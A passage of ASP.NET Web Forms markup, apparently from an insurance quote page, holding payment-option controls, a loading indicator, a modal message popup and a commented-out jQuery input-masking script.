<asp:CheckBox ID="chkDebit" runat="server" AutoPostBack="True" GroupName="chkprefpayment"
OnCheckedChanged="chkDebit_CheckedChanged" TabIndex="3016" Text="ACH" Visible="False" />
<asp:CheckBox ID="chkCash" runat="server" AutoPostBack="True"
TabIndex="3017" OnCheckedChanged="chkCash_CheckedChanged" Text="Cash" Visible="False" />
<br />
<br />
<asp:RadioButton ID="rdbDefpaymentYes" runat="server" AutoPostBack="True" GroupName="chkdefpay" OnCheckedChanged="rdbDefpaymentYes_CheckedChanged" TabIndex="3011" Text="Yes" />
<asp:RadioButton ID="rdbDefpaymentNo" runat="server" AutoPostBack="True" Checked="True" GroupName="chkdefpay" OnCheckedChanged="rdbDefpaymentNo_CheckedChanged" TabIndex="3012" Text="No" />
<br />
<asp:CheckBox ID="chkDefpayfour" runat="server" AutoPostBack="True" GroupName="chkpremiumpay" OnCheckedChanged="chkDefpayfour_CheckedChanged" TabIndex="3013" Text="Annex I - 4 Payments" Visible="False" />
<br />
<asp:CheckBox ID="chkDefpaysix" runat="server" AutoPostBack="True" GroupName="chkpremiumpay" OnCheckedChanged="chkDefpaysix_CheckedChanged" TabIndex="3014" Text="Annex II - 6 Payments" Visible="False" />
<asp:TextBox ID="txtIDRoadAssist" runat="server" Visible="False" Width="20px"></asp:TextBox>
<td align="center" colspan="15">
<asp:UpdateProgress ID="UpdateProgress4" runat="server" AssociatedUpdatePanelID="UpdatePanel1"
DisplayAfter="10">
<ProgressTemplate>
<img alt="" src="Images2/loader.gif" style="width: 35px; height: 35px" />
<span><span class="style5"> </span><span class="style6">Please wait...</span></span></ProgressTemplate>
</asp:UpdateProgress>
<asp:Label ID="LblTotalCases" runat="server" CssClass="headform3" Font-Names="Arial"
Font-Size="9pt" Height="3px" Visible="False" Width="194px">Quotes for Endorsement</asp:Label>
</div>
<div class="col-sm-1">
<asp:Button ID="btnCashPayment" runat="server" CssClass="btn btn-primary btn-lg" TabIndex="3018" OnClientClick="return myCashPayment();" OnClick="BtnCashPayment_Click" Text="Pay Cash" Visible="False" />
<%--<asp:TextBox ID="txtCashPayment" runat="server" CssClass="form-controlWhite" Style="text-transform: uppercase" TabIndex="3019" Visible="False" Width="200px"></asp:TextBox>--%>
</div>
</Content>
</Toolkit:AccordionPane>
</Panes>
</Toolkit:Accordion>
</div>
<div class="row formWraper" style="padding: 0px;">
<div class="col-sm-7">
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<asp:TextBox ID="TextBox1" runat="server" MaxLength="60" placeholder=""
visible="false" CssClass="form-controlWhite"/>
</div>
</div>
</div>
</div>
<asp:Panel ID="pnlMessage" runat="server" CssClass="" Width="450px" BackColor="#F4F4F4"
Height="260px">
<div class="" style="padding: 0px; border-radius: 0px; background-color: #17529B;
color: #FFFFFF; font-size: 14px; font-weight: normal;
background-repeat: no-repeat; text-align: left; vertical-align: bottom;">
<asp:Label ID="Label3" runat="server"
Font-Size="14pt" Text="Message..." ForeColor="White" />
</div>
<div style="padding: 0px; border-radius: 0px;">
<table style="background-position: center; width: 430px; height: 175px;">
<tr>
<td align="center" valign="middle">
<asp:Label ID="lblRecHeader" runat="server" Font-Bold="False" Font-Italic="False"
Font-Size="10.5pt" Font-Underline="False" ForeColor="#333333" Text="Message"
Width="350px" CssClass="Labelfield2-14" />
</td>
</tr>
</table>
</div>
<div class="" align="center">
<asp:Button ID="btnAceptar" runat="server" Text="OK" Width="150px" CssClass="btn btn-primary btn-lg btn-block" />
</div>
</asp:Panel>
<Toolkit:ModalPopupExtender ID="mpeSeleccion" runat="server" BackgroundCssClass=""
DropShadow="True" PopupControlID="pnlMessage" TargetControlID="btnDummy2" OkControlID="btnAceptar">
</Toolkit:ModalPopupExtender>
<asp:Button ID="btnDummy2" runat="server" Visible="true" BackColor="Transparent"
BorderStyle="None" BorderWidth="0" BorderColor="Transparent" />
<Toolkit:RoundedCornersExtender ID="RoundedCornersExtender2" runat="server" TargetControlID="pnlMessage"
Radius="0" Corners="All" />
</ContentTemplate>
</asp:UpdatePanel>
<asp:Literal ID="litPopUp" runat="server" Visible="False"></asp:Literal>
<input id="ConfirmDialogBoxPopUp" runat="server" name="ConfirmDialogBoxPopUp" size="1"
style="z-index: 102; left: 783px; width: 35px; position: absolute; top: 895px;
height: 22px" type="hidden" value="false" />
</div>
</form>
<%-- <script>
$(document).ready(function () {
$('#TxtHomePhone').mask('(000) 000-0000', { placeholder: '(###) ###-####' });
$('#TxtCellular').mask('(000) 000-0000', { placeholder: '(###) ###-####' });
$('#TxtBirthdate').mask('00/00/0000', { placeholder: '__/__/____' });
// $('#TxtDriverBirthDate').mask('00/00/0000', { placeholder: '__/__/____' });
$('#txtWorkPhone').mask('(000) 000-0000', { placeholder: '(###) ###-####' });
});
</script>--%>
</body>